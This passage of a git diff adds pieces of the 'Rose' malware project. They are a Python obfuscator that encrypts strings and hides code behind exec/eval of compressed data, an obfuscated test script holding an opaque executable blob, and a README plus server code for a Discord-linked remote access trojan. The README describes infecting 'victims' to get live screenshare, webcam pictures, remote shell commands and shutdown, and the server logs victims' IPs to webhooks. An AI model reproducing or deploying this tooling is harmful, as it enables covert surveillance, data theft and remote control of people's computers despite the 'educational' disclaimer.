FileHandler("rose-obf.log", encoding="utf-8") +file_handler.setLevel(DEBUG) +file_formatter = Formatter(log_format) +file_handler.setFormatter(file_formatter) +root_logger = getLogger() +root_logger.addHandler(handler) +root_logger.addHandler(file_handler) +root_logger.setLevel(DEBUG) + + +def generate_key(length=16): + characters = ascii_letters + punctuation + key = "".join(choice(characters) for _ in range(length)) + return key + + +def generate_random_string(length): + characters = ascii_uppercase + digits + return "".join(choice(characters) for _ in range(length)) + + +def getCustom(): + dec = choice([1, 2, 3]) + + if dec == 1: + return generate_pattern1() + elif dec == 2: + return generate_pattern2() + elif dec == 3: + return generate_pattern3() + + +def generate_pattern1(): + return "__" + "".join(choice("O0") for _ in range(10)) + + +def generate_pattern2(): + return "__" + "".join(choice("0123456789") for _ in range(10)) + "__" + + +def generate_pattern3(): + return "".join(choice("Il") for _ in range(15)) + "I" + + +def encryptData(text, key): + cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend()) + encryptor = cipher.encryptor() + + padder = padding.PKCS7(128).padder() + padded_data = padder.update(text.encode()) + padder.finalize() + + ciphertext = encryptor.update(padded_data) + encryptor.finalize() + return urlsafe_b64encode(ciphertext).decode() + + +def decryptData(ciphertext, key): + cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend()) + decryptor = cipher.decryptor() + + decrypted_data = ( + decryptor.update(urlsafe_b64decode(ciphertext)) + decryptor.finalize() + ) + + unpadder = padding.PKCS7(128).unpadder() + unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize() + + return unpadded_data.decode() + + +def process_node(node, name_dict): + if isinstance(node, Name) and node.id in name_dict: + node.id = name_dict[node.id] + + +def obfuscate_code(input_file): + with open(input_file, "r", encoding="utf-8", errors="ignore") as f: + content = f.read() + + content = sub(r"\n\s*\n", "\n", content) + + tree = parse(content) + + name_dict = {} + + root_logger.info( + "Renaming Classes, Functions, Arguments, Keyword Arguments and Variables..." + ) + for node in walk(tree): + if isinstance(node, (FunctionDef, AsyncFunctionDef)): + old_name = node.name + new_name = getCustom() + root_logger.debug( + f"Function Name: {old_name} ---> New Function Name: {new_name}" + ) + name_dict[old_name] = new_name + node.name = new_name + + for arg in node.args.args: + old_arg_name = arg.arg + new_arg_name = getCustom() + root_logger.debug( + f"Argument Name: {old_arg_name} ---> New Argument Name: {new_arg_name}" + ) + name_dict[old_arg_name] = new_arg_name + arg.arg = new_arg_name + + for keyword in node.args.kwonlyargs: + old_kwarg_name = keyword.arg + new_kwarg_name = getCustom() + root_logger.debug( + f"Keyword Argument Name: {old_kwarg_name} ---> New Keyword Argument Name: {new_kwarg_name}" + ) + name_dict[old_kwarg_name] = new_kwarg_name + keyword.arg = new_kwarg_name + + elif isinstance(node, ClassDef): + old_name = node.name + new_name = getCustom() + root_logger.debug(f"Class Name: {old_name} ---> New Class Name: {new_name}") + name_dict[old_name] = new_name + node.name = new_name + + for node in walk(tree): + if isinstance(node, Assign): + for target in node.targets: + if isinstance(target, Name): + old_var_name = target.id + new_var_name = getCustom() + root_logger.debug( + f"Variable Name: {old_var_name} ---> New Variable Name: {new_var_name}" + ) + name_dict[old_var_name] = new_var_name + target.id = new_var_name + + process_node(node, name_dict) + root_logger.info( + "Renaming of classes, functions, arguments, keyword arguments and variables done." + ) + + return unparse(tree) + + +key = [ord(char) for char in generate_key()] +decryptionFun = getCustom() +ciphertextParam = getCustom() +base64decodeVar = getCustom() +lzmadecompressVar = getCustom() +keyVar = getCustom() +cipherVar = getCustom() +decryptorVar = getCustom() +decrypted_textVar = getCustom() +unpadderVar = getCustom() +unpadded_dataVar = getCustom() + + +def replace_string(match): + s = match.group(1) + encrypted_string = encryptData(s, bytes(key)) + encrypted_string = encrypted_string.replace("'", r"\'") + chr_format = "+".join([f"chr({ord(char)})" for char in repr(encrypted_string)]) + b_format = [ord(char) for char in encrypted_string] + stage_1 = f"{decryptionFun}(eval({base64decodeVar}({urlsafe_b64encode(f'bytes({b_format})'.encode('utf-8'))})).decode(\"utf-8\"))" + stringified_stage_1 = str(urlsafe_b64encode(stage_1.encode("utf-8"))) + stage_2 = f'eval({base64decodeVar}({stringified_stage_1}).decode("utf-8"))[1:-1]' + decrypted_string = decryptData(encrypted_string, bytes(key)) + root_logger.debug( + f"String: {s} ---> Encrypted String: {encrypted_string} ---> Char Encrypted String: {chr_format} ---> Bytes Encrypted String: {b_format} ---> Evalized encoded string: {stage_2} ---> Aes Decrypted String: {decrypted_string}" + ) + return stage_2 + + +def obfuscate_strings(content): + root_logger.info("Encrypting strings...") + data = sub(r"(\'[^\']*\'|\"[^\"]*\")", replace_string, content) + root_logger.info("Encryption of strings done.") + return data + + +def main(input_file, output_file): + root_logger.debug("Entered main function.") + content = obfuscate_code(input_file) + + with open(output_file, "w") as f: + data = "".join( + [ + "from cryptography.hazmat.primitives.ciphers import Cipher,algorithms,modes\n", + "from cryptography.hazmat.primitives import padding\n", + "from cryptography.hazmat.backends import default_backend\n", + f"def {decryptionFun}({ciphertextParam}):\n", + f" {keyVar}=bytes({key})\n" + f" {cipherVar}=Cipher(algorithms.AES({keyVar}),modes.ECB(),backend=default_backend())\n", + f" {decryptorVar}={cipherVar}.decryptor()\n", + f" {decrypted_textVar}={decryptorVar}.update({base64decodeVar}({ciphertextParam}))+{decryptorVar}.finalize()\n", + f" {unpadderVar}=padding.PKCS7(128).unpadder()\n", + f" {unpadded_dataVar}={unpadderVar}.update({decrypted_textVar}) + {unpadderVar}.finalize()\n", + f" return {unpadded_dataVar}.decode()\n\n", + obfuscate_strings(content), + ] + ) + + compressed_data = compress( + f'str({base64decodeVar}({urlsafe_b64encode(str(data).encode("utf-8"))}).decode("utf-8"))'.encode( + "utf-8" + ) + ) + data = f"from base64 import urlsafe_b64decode as {base64decodeVar};from lzma import decompress as {lzmadecompressVar};exec(eval({lzmadecompressVar}({compressed_data})))" + data = ( + """# Obfuscated with Rose\n# github.com/rose-dll\n\n# ^..^ /\n# /_/\_____/\n# /\ /\\\n# / \ / \\\n\n""" + + data + ) + f.write(data) + + +if __name__ == "rose_obfuscator": + parser = ArgumentParser( + description="Obfuscate Python code efficiently with Rose-obf." + ) + parser.add_argument( + "-i", + "--input", + help="Input file name (required, .py)", + dest="in_file", + metavar="", + required=True, + ) + parser.add_argument( + "-o", + "--output", + help="Output file name", + dest="out_file", + metavar="", + required=False, + ) + args = parser.parse_args() + + input_file = args.in_file + output_file = ( + path.join(getcwd(), f"obf-{generate_random_string(10)}.py") + if args.out_file is None + else args.out_file + ) + + if input_file.endswith(".py"): + try: + root_logger.info(f"{input_file} ---> {output_file}...") + root_logger.debug("Entering main function.") + main(input_file, output_file) + root_logger.info(f"Done. {input_file} ---> {output_file}") + except Exception as e: + root_logger.error(f"Error: {e}") + else: + root_logger.error( + "Invalid Python file entered. Please make sure the file has a .py extension." + ) diff --git a/Rose-Obfv2/tests/obf-script.py b/Rose-Obfv2/tests/obf-script.py new file mode 100644 index 0000000..ebbd542 --- /dev/null +++ b/Rose-Obfv2/tests/obf-script.py @@ -0,0 +1,9 @@ +# Obfuscated with Rose +# github.com/rose-dll + +# ^..^ / +# /_/\_____/ +# /\ /\ +# / \ / \ + +from base64 import urlsafe_b64decode as __O0O0O0O0O0;from lzma import decompress as lIlllIIIIIIlIllI;exec(eval(lIlllIIIIIIlIllI(b'\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x16\x00\x00\x00t/\xe5\xa3\xe02e\x0e\xc8]\x009\x9d\n\x88\x12\x8d6\x8b\xbeot\xe2\xa16s\x90\x9e\x06\xb4,+\x88c\x88\x06\x97\xa2\xdd\x9a\x9cP\xe6I\xeaRu\xcbx\x1e\x16\x9bl\xb5*<=\x0e}s\x7f:W\x93?\x80`K\x1c\x8b\x87;\xca\x0f\xef\x01\x1aw\xa4\x1ai\xa3\xd6\xaf4\x8e\'K\x18\x8c\xe0<\xe8\xbd\xfe\xaf`\x15c\xf4\x1fX\xff\xae\xef\xac^\x88\xf8\xe5\xbd\xe1\x0b.|\x17\x8b\x0c\x9e\x8e\x19go\xfc\xe9\xd0O^;=\x05\xfd3\x8d\x1fj\x10\xe75C\xf3v\x14\xa5\xcf\xe3\x0b\x91\xb2e}%{\xbf\xfb\x9a\x886\x85\x8cH\x9b`\x1dT\r\x11\xc3k\xce\xd4<\xd0\xab\x89w_\x1ak\xe0\xa3YO\x89\xb8\xdeg\xe6\x141\x0f\xb1*\x9fjp\xdfF\xf8z\x9d\xda\x9e\x8a\x9b\x01?\xd7\xea\xf8\xb3\xb5V\xeb\x92\x154\xa0\xdfc\xbe1Y\x99\x9c\x04\x92\xf0#;\xfe\xef\x86\xcd?\x05\xae\xdb\xf2\n\x0f\xcfY\xdaKo\n\xd8\xd1\xe1\x8a\x11Qh\x0cz\x0f\xd2<\x8b\xcb(tl\xf6W@\x19\xfaS\xb1y\x11\xa4>\x1dF\x85\x86\x9bW4Z\xf2\xa4\x99\x88g*\xf5\xdd+;\x03\xfc\xc7\xed\xda\xbf\x02\xe7W\x05\xbc\xc5Q\xdcQ\x9e%\xc2\x01&\xb5\x92H\xf8\xebA\x9e\xd0\xe5\xfaR\x8d\xa6\x17\xf9\x1fr\xc0o\xdf5\xdc\xdb3e\xa6n\xa4+q@B3K\xf2\x7f\xbb\x02[\xc2\x15_\xae\x98\xcd\x05\xfe\x88V\xd1X\xd6\x13tO\xef1\xf1\xf1MH\x8d\xb9\x8dpOA\x9c\xc61\x1d\xe4%\xda\xf1f\x9e\xfa\xe9!T!\x9f0z\x84\\\xb4\xdbE\xcf\x8aTY\xfa\xc89?\xf7>\x8b\xc7\xebV$LFnt\xac$\xea\xcc\x85N\xc6T\x90\x07\x1d\xd6\xc4\xb7\xadN\xad{TWy\xe5qx\x85|\x1e\xcc:\xe9\xda\xd1\xfap\xa2\xe3\xb1<\xf7b\xdf\xfb\xbd\xac\xe5=\xf8\x160\xbf\xa3 \xf2*\xfe\xd5\x7fB\xe4!\x80\x91\xb4\x18\xfb\xaa\xdd\x05\x14E/\xb8j\x92\xed{\xfbM:+\xe8\x87\x97\x98\x08\xe7s\x98$\xab\xf9\xcf\xb2\xed5\'~\xec:\x9c1\xa6\xa6\xa4#\xd6"\x15\xd1\xa6\xb8\xe1\xb6\xb5\x1a3"\xf3\xect\xdd\x15\xed|\xc7r\x9f; \xd0\xfbf\xe4E\xceL\xa9!\xbfTQ\xd0U\xed\x9eN^\xb3\xa2_\x81\x99\x84\xfaG\x84\x10"q\x92\xb5u\xe25\xa6`\xbf{\x0e\x97C\xd7\xee~kc\xa5\xa8\xdb\xc9\xa9k\xd89\xf58\x9f \t\xe9\x87\xdag\x9e\xa8\xe5w\x0f\xe3\xdc\x9c\x81R\xd9mh\x96\x91\xbd/\x04\xae\x16\xc3\xa70\x07Js\xd9\xe4[~\x8f\xbf\xc7\xc4=\xca\xa5=fF\xaf\x07\xc9\xe4\xcd/\x89\xa5\x9ft\x83\xd5\x15W\xf3rF\x08\xfa\x12\x11\x8ck*\x01\xa6(\xbfl \xf9\xf3t\x1c\x1d\xb7\x10\x18\xcf\xdc#\xbf\x04\xf4\xc3\xa3\x13\xb14\xdc\xc1*\x9c\xeb\xd3\x04\xb9\x03\xfa3\xcc1e\xca(\x88z\r\x18-\xed\x13a;d\xecC!W6\xe2Y\x17c2\\\x9f\xdd\x04\xdbEL\xe8\xbd\x96^E\xc9\x1ao\xa7\x8b\x10\x81\xb9\xa3\x1b\xc5\x10\xceOuF\x90o<\x15\xe8N?\\x\xcc\x8b\xfef\'\xff\xc2\x87\x9a\xf4\xf0\xa4\xe4\xe3\x0c\x1eC\x07\xed\n\xeaAU\xb6\x07&\x84\t\xeb\x8eHU\xbc\x88\xb3>.\x8c\xf0\xa2\xf2\xadj\xf5K\xa0\xea\x89\xec\x04\xa0\xfa\xc8\x93\xde\x17l\xd1\xd0\xb7\x19\xe8N\xbf~\x9b\xabw\x9bp\x0cA\x9b\x19&g\x17@\xdcmDc\xbaH\x10m\x1d\xf0\xca\xab\xb2\x07\xca\xde\xef\xb7\xd1\x01-\xf3E\xb7\x1b\x9c\x0c\x90\xf1\xaa\xbd\xf7\x0f\x8c\x84\x12&A\xa6\x06\xfb\xaa\xb8G8V\x18\x91\x1f\xffC\xc8\xbd\x02\xc6\xce\x9d\xab\xb9\x12!\xde\xc3n_\x00\xa8`\xfa4g\x01\x0b\xb2\x1e\xb7P\xd7nt\xae\xc7\xd5VP\xc1 \x97+\xfe{\x98\x01>\xca\x94&}\xa3;\xef[\x8bf}\xf6<\xa7\xcb\x0e\xdcw@\x80M\xcb@&^\xa9l\xf7g\x8c\x96\x95S\xea-\x9b\xc84=\xadc\x8d\xcb\xdf\xf2\xdb\x84b\xa2\x8e5\xcdN\x97\xc8\xe5\xff$-6\x9aIBgI\x84\t\xd4\xc4F\xb0\xa1d\x91O\xb3\xab\x1d\x85f\xbf\xb0\x1e\x8b\x98\xe8Y\x8e\'t\xa0\x05\xae~7u\xb2{\x8ep\x80s\xc6\x7fxb\x15J\xd3\xa5\xa4\xb3\\\xac\x11\xfd\xf0\xda\r\xe55s\x81\xc8\xdfC\xeb\x10\x8d\x14\x13\xc8\xda\xeb\xa1I/Z\x16\xdc\xe7\xaf\xc8P\xf5\xa4|\xe2\xe7\xa7\xe6t\xf9\xa8\x12\xe9!q\xd6\xb3\xf8w\xbd\xbb\x01;c\xb5v\xf0\xc1\xb7\x9b\xac\xd1?B\xf7\x0cKyu\xbf\xb2+y\xed\xc5\x1c\x013\x05\xad\xdan\xfd=sTB\x1e r\x9b\x11\xbaZ\x03\xb3\xc9\xb3\xab\x8ahW\x15N\xc8\xbb\xe4iw\xf3\xf2\xdd\xa5\x8at\xddH\xc8\x96\x05\x1c A\x0b\xbb\xf6\x98\xc6a\x97v\xf12=\xdd\xf6G\xf2\x1b\x07!\xd6\x13(\xfc\xe3t\xca\xcf\xb3\x96)\xa8\xff\xd1\x17CI\xa0\xcd\x8bJ\x86\x18n\x7f\xc27e\xc9w\xff\xe4\x05\xb2_\xb0\xd1\xc9\xf6\xeb\xfd%\x0f\x0b\xac\x9eJXQ\x1b\x92$>\x80\xc5:0r\xb8\xdc\x8a/w\x02g\x196\x92v\xb5\\\x8d\xef\x7f\x86\xa4\x02U\xf8\xde\xb7\xdd\xa7D"T\x92V\xa7e\x0b\xf5\x9b\xd3d\x95\xb9E\x99\nKb\x92\xa9\xa1\xac\xb6\x90\xedxt\xf7\xe7oX\x04\xd8\x1f,?\xaf\x8ak\x18"\xd8E\xc0V\xbb/\'\xf5\xc8\xf8\xa1Z>\x1b\xbe\xf1\xd8\xe8\\\xc5e\x08\xc5\x03\xc5#l_\x18x\xdb\x8d\xec\x0f\xf9\xa1\x90\xe99\xcf\xef\xe3\xddK\x9d\xf6\x91\x15\x16\xb5?\xb2\xd2\xab\xd0\xacK:be\xd5\xd6\xdb\x00\xce\xc8a\x99\xd03y!j\xa4\xbd\xce)\\\xd1\xf0\xcd-\xce\x07?HMz\xda#F>;S\xb5\xd4E\xa5{b\x1fk^sz3\x1b\xa6\xa1\xe2\x88G\x18\xde0\xc6\x02\xee\xf2Xi\x1fx\x99\xb6\x9a%Y\xee\x97\x05\\\xb8\xfd\xba\xa0\xfc;t\xcc\xb9\x00.\xa1\xe7\x15\xae?\xf9\xd5@\xf2\n\xe5\x01KDi5)\x1a\x94\xb2\xe47O\xa8ZR6\x08\x98\xe0\xc1\xe8\xf5`a\x12o\xba\xaf\xb7\xdf\xfbp\x1c\xba1\xc9\x14\xd9{\x8b\xa2c\xdc\x0f\x04\x0f\xc3\x96\x7fR%*\x12\xc2\x12\xaa\xfd\xea_\x89\x9d\x8b\x8c\x8cX\xea\x1f\xa0\x849\x91Z\x0b\x15\xcc\xc4?\xe0}Z\x02\x8aK\x1e\xc5\x8dk\x85\xe2\x0b\xcc\xd8\xd1\xf9\xaf\x87\x91\x9aU\x90\xc9\xd9\xc8\xf7\x85\x12\xf1R\x96\xae>6gy\x9e \xfb\xc5\x07\xe3\xe5)R<\x1dm^_\xd4\xf2z\xad\x1f\x03\x99NM\xac\xc3\x10\xcf5|\xd0@\xba\x8a\xf1\x1e\r\xb6\xec\x88\xe2o\xc3\xd6k\xf6\x88\x10\x07\xe4M.\xae\xa1\x9cn\x1a\xdb\x0e\x80\xee\x87\x1b\x02\xf0\x03l\xf5\xe6\x85(\xb4\xefqp\x8c:d\xbaeZ\xfet\xe2\x12\xa9\xb1\x87 r\xc6\x0c\xe5&\xa2\xbe\x98@\xa5\xb1\x14*\'&Z/\xc4~\xd2\xb4\xd4q\xdfk&\xea\x926\xc7\xd6T\x1c3\xaaO\xcf\xda\xb7$T\xd9\xe5{\x01L-%\x13\xa4\xb7)\x96\x0e\xc8\xc2*\xf6\xe9[\n,N\xb2\xa7,#h\xcdZ\tn\xc3\xb3,]\x95\x85\x07\xb4\xbe\xec\xfb\xce\x10\x1d!\n\xbc-\xa8B\xe1\x0e\xa0\xef\xd6a\xdf\xc2\xa7\x1a\xb4}\x8b\x1d1\xd81T\xb9IW\xc8\xa1s\xb4>\x9a\xeb\xddo|\xecp\x9a\x18\xabq\xeb-}k\x9c\\\xa2\x1f\x15C\n\x17`\xa2L\x87\xcef\xf2$\xa4\x1c\xdb\x19\xbb\xb3\xd9\x12\x8a\xdb\xa1\xd6\xfc{\xb9\x9a,%j\x15\xec\x9e\x05qf\xc1<\xe7\xbd\xbe\xa3P\xa5W"\x8d\xc6\x9e5\xbcV\x0f\x8c\x05\x11\xa0wM)f\xf5E2\xc4\x83S \xb7]b\xda\xd4\xa4hF,] hH1xY}\x0f\x7f\x80B\xa6\xc7,I\xcb\xae\xa6%\x80z\xc9\xbb\\\xa9a^\xc8\x839x\x11v\xa2\x83\xeb\x9c\x19\xb3\xe03d\x1d3\xfb\x96\xdc\xf5\x00\xa0&\x8erj|\xa0\x835(X\xa76rD\x0bG\xdb\xbb\xb8\xf4\xbf\xb0i\xa4\x15\x84S\'\x8a\x1d\xc1r}\x8b\xb1Z\xfb\xbf\xf2\xaf\x8d\x9c\nE\xe5U\x80AG\x1e9\x83\xe9\xe8\xeb\xef\xf3\xc9\xa5\xc7\xdar\xd5\xa4\xb1\xdb\xb4n\x08\xe7\xe5\xe2\xe3\xbb\xb6\x1b\x81C\x9d\x0e\xc5\xed|\x910\t\x11r\xf9Iv>\xe9-\x0cH\xd2\xcatq\xca\xdd\x9d\x94\xa9\xa4\xa1\x96v\xb6\xe0\x91\xbb-7\x05\xc0\xa9\x03n\xd0\xfb\x1am\x9a\xfa\xbbnKB\x10U\xbc\x9f\x8f\x18\t\xea\x9eS!|a\x97\xea\xce\x89\x84\xcb\xce)G\x14"\xdfK<\xab\x9e\x9ayo\xfa\x9c\x87\x01K\x06\x1fR\xf6\x1e\xb46\xe54\x15\x0f\'\xf7\xdd\xf3\xa4\x13\xde3\xfdJ\xb5\xd0j\x90~"\x18^\xcf\x8c/\x7f]\x00\x13\xf78\xb3z\x1b}\xcc\xa3\xe4\xf4\xf9\x08\xfe\x9d$s\x1f.\xf10\xd5\x8c\x1b\x16``\x87\xaab\x92h\xc8\xdfGY%{\xd18\x0e\x0bsE\xb8\xdbvB\x9d\xd0A`\xbc\x8e\xc1r\x17LTr\xd5<\xeb\x01D\x8b\'\x84\xd6U\x1bq\xa0\xadv\x01\xe0\x96\x05\\A\xff5Id&\r]\xd8\xe3\xa3\x80\r\xae\xe3\xea\xeag\x16Pq\xa2\xc8\x9b\x84\x8b\xbc+\xeb\xf6\xba\x11\x00e\x93n\xac\xb6!\xb1\x8c\xba;\x18\xcf\xa2\x1e\x81\xb1\xeb\xbf\x94\xbc\xde\xe1vS\x040\x87s\r\x92\x16B\x0bAS\x8f\x805\xef\x83=q6\x1d\xaf\xe0l\x057\xdeh\x9d\xf1t>\xd9\xef6\xd5\xcc\xdc\xc5c\x85\xa4\x0c\xb8\xfa\x99\x0b>}&/\xcd\x19\xe7\xa6-\xf7\xdf\ry\xfc\x91\n\xe0\xc4\xcaj"\xbei\xa2F\x97\x8d\xdd\xee\xca/\xe7\xe3L\x89\xa5q\x99\x10\xc2\r.\xd0\xa0\xb8\x0bb\xe2\x11P\xa2T#\\\xee\xee-\x06C\xb4z\x93"\x1a\xcfx\xcd\x17\xc8V\x8e\x93\xcb\x88\xff\xc9\xf0 D\xe3\xffL\xfb\x87\xd4\xa8\xf6\x01\xcf7/\xaf\x88t\xf7\xde\xca\x9b\xef\x08\r\x10\xc2!\xc9\xf0\xc8\x86T\xed\xd9\xac\x89\x9du|\x1a\x16jah=YQY\x92\xb5\x9eG\x13\x0b5^\xb3\x80\xf0\xccJ\xe4\x11\xc9\xbfJ\x1b\x81L\x9c\xb9\xae\x04\xa2t\xe3\x10>\x0e )n;a\x1c\xa7\xd4\xd9\xe7\xb1py\x02\xafo\x15\x17\xfe\xb1\x97\xb8\x9bl\xf2\xe4&\xe75G\x95\x98\x02d\x1aU=\xd5{a\xe2\xaew\xd7\x7fY|""\xd5 %$N>\x81v9\x1a\xf7.x\x9f\x05r[+\xb1\x9d\x92x0\x06\x93\xd1\xc1\xd9\xfds\xec|\xb0m\xe5\xb8\xda\x92D\xe4\x8d\xaa\xec\x97[?<\xc8U0\xc7\x13\x18\x18\x8a\tIm\xee\xb3\xd5\x86\xd6\x04\xec\x97|E)h\x12\x84SF"\xa0\xda\x84\xfb\x0c\x93\xbd\xcb6\x13@\xea\x82\x0f\xe8\x0b\xea\x1a\x9d\x13\xfet\xbf|[)\xdf6\xcc\x0c4K$o#{\xec,Nn\xff\xb8\xef\nak\xda1\xe8w-_\xa2\xee\x89Z\xe2\xdf\x1d5\xb3T*>\x19p\xf9\xdd\xf1\x06\xaf\\\x0c\x88\xf5\x8f\x18\xa3\x1e\xd6\x04\xe0\n\xa5\x98V\x04D\xb3\x8d\x14\x89%\xda\xd9\xf1\xdb\xef\x11|\x89\x10\x11"\xd1\xea\x9ej\x96"E\x14!\x9a\\\x8aMX\x95}*\xb6N\xac\x9fS\xd3\xdbZ?-m\x05\xcf\xeb[\xeb+\x0c\xf6\x1a0\x0ez.\xe4\xe8!\xed\xb3RQo\x97\xc4\xe9\xa6\xde\xad\xbb\xf1\x19$\x88o\x80\xb6\x81 \xf3\xd72zO\xaf\xae\xcf`p7\xbf\x947\x8dv\xbfU\x02\x87\xcb\x14\x90nT\nF\xa5$\xfe.\x9c\xcdxg\x1ej\x8f\xbd\xc8\xad:f\x04\xc2+O}\xa1E%\xf7\x95\xb6\x10\xba\xf0\xa5S\x00\xdc\x9dbY\n\x10\xe5\x9d\xa5oqCz\xe2\xbb@"F\xba"\xbbm\xf7#\xdb.\xe0\xb7ue\x97\xc9\xc0 \xd1\x8c1\x96ZQ*\xea@Sb\x1ccY\xf6\xf8\x92\x84[\x88\'\xdaDW\xf4s\xf1\x08\x14l\xd0+y\xabm\xb5S\x04\xb1\x968W6\x166\x8d\xd6\x82`3S\x1e\x90\xcc!\x1a\xc7\xcfc\x9d\xb5G\xa0\xc19_e\x92i\\\xb1\xd0\xe7\x86g\xf2X\xd9\xafS\x14*(\x13~\x89,\x8fI \n5\xacC4\xa4\xc0Pq\xc9f\xd0\x92/\xbdM\x94P\xe9\r\xc6\xb9%\x06\xf2\xda\x9fn\x1a\xc8I$\xbc6\xb4\xa0\xdd\xd1\x9b\xd8\x9d\x95$\x0f\xfel\xb7b\x04\xf9\x938\x96\x9e!3\x83~5hT\xf2qDm\r\xb8A\xe2\x05\x19%&\xfd\\\xa1\x1e\xd3q\x89".\xcf\xdb\xc4S\xab\xed\xec\xde<\xd9\xb6\xc1\xff\x9fb\xb6\xf6]\x0e\xa5\xce\xd6k\xeeQf\xfb\xf6o +
+ +
+ Rose +
+ +
+ + +
+ + +
+ + +
+
+ +
+ +
+

+ A Discord RAT Extension for Rose 💀 +

+ by pierro, gumbobr0t, suvan, suegdu +
+ +## 🌐 〢 Table Of Contents + +- **[📖 〢 Description](#description)** +- **[🔰 〢 Features](#features)** +- **[🔗 〢 Discord](https://discord.gg/Ts9RTFYvyt)** +- **[📥 〢 Install](#install)** + - **[💻 〢 Prerequisites](#prerequisites)** + - **[⚙ 〢 Setup](#setup)** +- **[📷 〢 Preview](#preview)** +- **[📚 〢 Changelog](#changelog)** +- **[🥷 〢 Contributors](#contributs)** +- **[⚠️ 〢 Bugs Or Errors](#bugsorerrors)** +- **[🧾 〢 License](#lisence)** + +## 📖 〢 Description + +This is the server-side of Rose RAT. It will create a SocketIO Server to communicate between the victim's client & the attacker client. +This can be hosted on [repl.it](https://replit.com/account) or any other server. This is still under development and way more commands will be released soon. + +# How is it working? + +When a grabber created with [Rose](https://github.com/0xrose/Rose-Stealer_old) (with the RAT enabled) is opened, it'll try to connect to a SocketIO Server. # Note: This is outdated +The server will create a `SID` for the victim's client (which is a temporary ID) that is going to be deleted once the victim's client is shutdown. +The server will then send a WebHook that a victim has connected with his `IP` and his `SID` ([Preview](#preview)) +Then, it'll wait for the Server command and execute it in the background. + +Now, the attacker has to execute the `attacker_client.py` file. +The attacker's client will connect to the server and will be able to send command +The attacker can now write command in the GUI, then write the `SID` of the victim's PC he would like the command to be executed on. +The attacker's client sends the information to the server which sends it to the specified `SID` + +Once a victim's client receives a command, it executes it and send a WebHook of the output if needed + +## 🔰 〢 Features + +- `See the victim's pc screen on live (screenshare)`🟢 +- `Make a Screenshot and send it (screenshot)`🟢 +- `Make a MessageBox with any text (messagebox )`🟢 +- `Executing shell command (shell )`🟢 +- `Playing TTS (Text to speech) (voice )`🟢 +- `Changing the volume to 0%/100% (volumemax/volumezero)`🟢 +- `Shutdown the PC (shutdown)`🟢 +- `Make a Webcam PIC and send it (webcampic)`🟢 +- `More commands will be released soon ... `🟣 + +🟢 = Working | 🟡 = To Do | 🟣 = Working on it | 🔴 = Not Working + +### 💻 〢 Prerequisites + +- Windows 7/10/11 +- **[Python](https://www.python.org)** +- PyPi requirements +- A [repl.it](https://replit.com/account) account (if you're hosting it on repl.it) + + +### ⚙️ Setup + +* First, create a new [repl](https://replit.com/~) and use Python as principal language +* Download this repository as a zip and upload all the files to the repl +* Go back to your repl and click on `shell` in the top right corner +* Enter `pip install -r requirements.txt` +* Click on the `Run` green button at the top of the page +* Copy the URL +* Build a victim's client with [Rose-Grabber](https://github.com/0xrose/Rose-Stealer_old) using the URL you just copied +* Start `attacker_client.py` then paste the server URL +* Whenever a victim starts the grabber, a WebHook will be sent to inform you, +* You're now ready to execute commands. + +## 📷 〢 Preview + +When a victim's client connects: + +![ConnectingEvents](readme/events.png) + +The attacker's client UI: +![AttackerClient](readme/attacker_client.png) + +An example of using the `shell dir` command: +![Exemple_command](readme/exemple_command.png) + +## 📚 〢 Changelog + +All Notable Changes will be noted soon + +## 🥷 〢 Contributors + + + + + +## ⚠️ Bugs Or Errors? + +- To Report An Error Make An **[Issue](https://github.com/0xrose/Rose-RAT/issues)** +- Or Join The **[Discord](https://discord.gg/Ts9RTFYvyt)** + +## License + +This program, is intended solely for educational purposes, to demonstrate the vulnerabilities of computer systems and to promote awareness of cybersecurity. The program should only be used in controlled environments with explicit permission from the system owner. + +While the program may be used to assess the security of computer systems, it should not be used for malicious purposes or any activity that may cause harm or damage to computer systems or networks. Any misuse or illegal activity resulting from the use of this program is strictly prohibited and the responsibility lies solely with the user. + +The author of this program is not liable for any damage, harm, or legal consequences resulting from the use or misuse of this program. By using this program, you acknowledge that you understand the potential risks and agree to assume full responsibility for any actions taken using the program. + +### Rose RAT is licensed under the MIT License + +### This is for educational purposes only. Use at your own risk. We are not responsible for any of your actions! + diff --git a/Rose-Remote-Access-Trojan/_data.py b/Rose-Remote-Access-Trojan/_data.py new file mode 100644 index 0000000..de0145c --- /dev/null +++ b/Rose-Remote-Access-Trojan/_data.py @@ -0,0 +1,38 @@ +import sqlite3 + + +class DatabaseX(): + + def __init__(self): + self.conn = sqlite3.connect('sessions.db') + self.c = self.conn.cursor() + + def get_webhook(self, sid): + self.c.execute("SELECT webhook FROM ses WHERE sid=?", (sid, )) + return self.c.fetchone()[0] + + def get_ip(self, sid): + self.c.execute("SELECT ip FROM ses WHERE sid=?", (sid, )) + return self.c.fetchone()[0] + + def enter_values(self, sid, ip, username, server, webhook, avatar, footer): + self.c.execute("INSERT INTO ses VALUES (?, ?, ?, ?, ?, ?, ?)", + (sid, ip, username, server, webhook, avatar, footer)) + self.conn.commit() + return + + def get_all(self, sid): + self.c.execute("SELECT * FROM ses WHERE sid=?", (sid, )) + return self.c.fetchone() + + def delete_sid(self, sid): + self.c.execute("DELETE FROM ses WHERE sid=?", (sid, )) + self.conn.commit() + return + + def get_sessions(self): + self.c.execute("SELECT * FROM ses") + return len(self.c.fetchall()) + + +db = DatabaseX() \ No newline at end of file diff --git a/Rose-Remote-Access-Trojan/_webhook.py b/Rose-Remote-Access-Trojan/_webhook.py new file mode 100644 index 0000000..d23020c --- /dev/null +++ b/Rose-Remote-Access-Trojan/_webhook.py @@ -0,0 +1,53 @@ +from dhooks import Webhook as web +from dhooks import Embed + +class Weboh(): + def on_connect(self, **kwargs): + ip = kwargs.get('ip') + username = kwargs.get('username') + server = kwargs.get('server') + webhook = kwargs.get('webhook') + avatar = kwargs.get('avatar') + footer = kwargs.get('footer') + sid = kwargs.get('sid') + + embed = Embed( + description='New victim connected to server', + color=11795068, + timestamp='now' # sets the timestamp to current time + ) + + embed.set_author(name="Discord RAT Connected!", icon_url=avatar) + embed.set_footer(text=footer, icon_url=avatar) + embed.add_field(name="IP:", value=f'`{ip}`') + embed.add_field(name="Name", value=f'`{username}`') + embed.add_field(name='Server:', value=f'[{server}]({server})') + embed.add_field(name='Client ID:', value=f'`{sid}`') + + webx = web(webhook) + webx.send(embed=embed) + + def 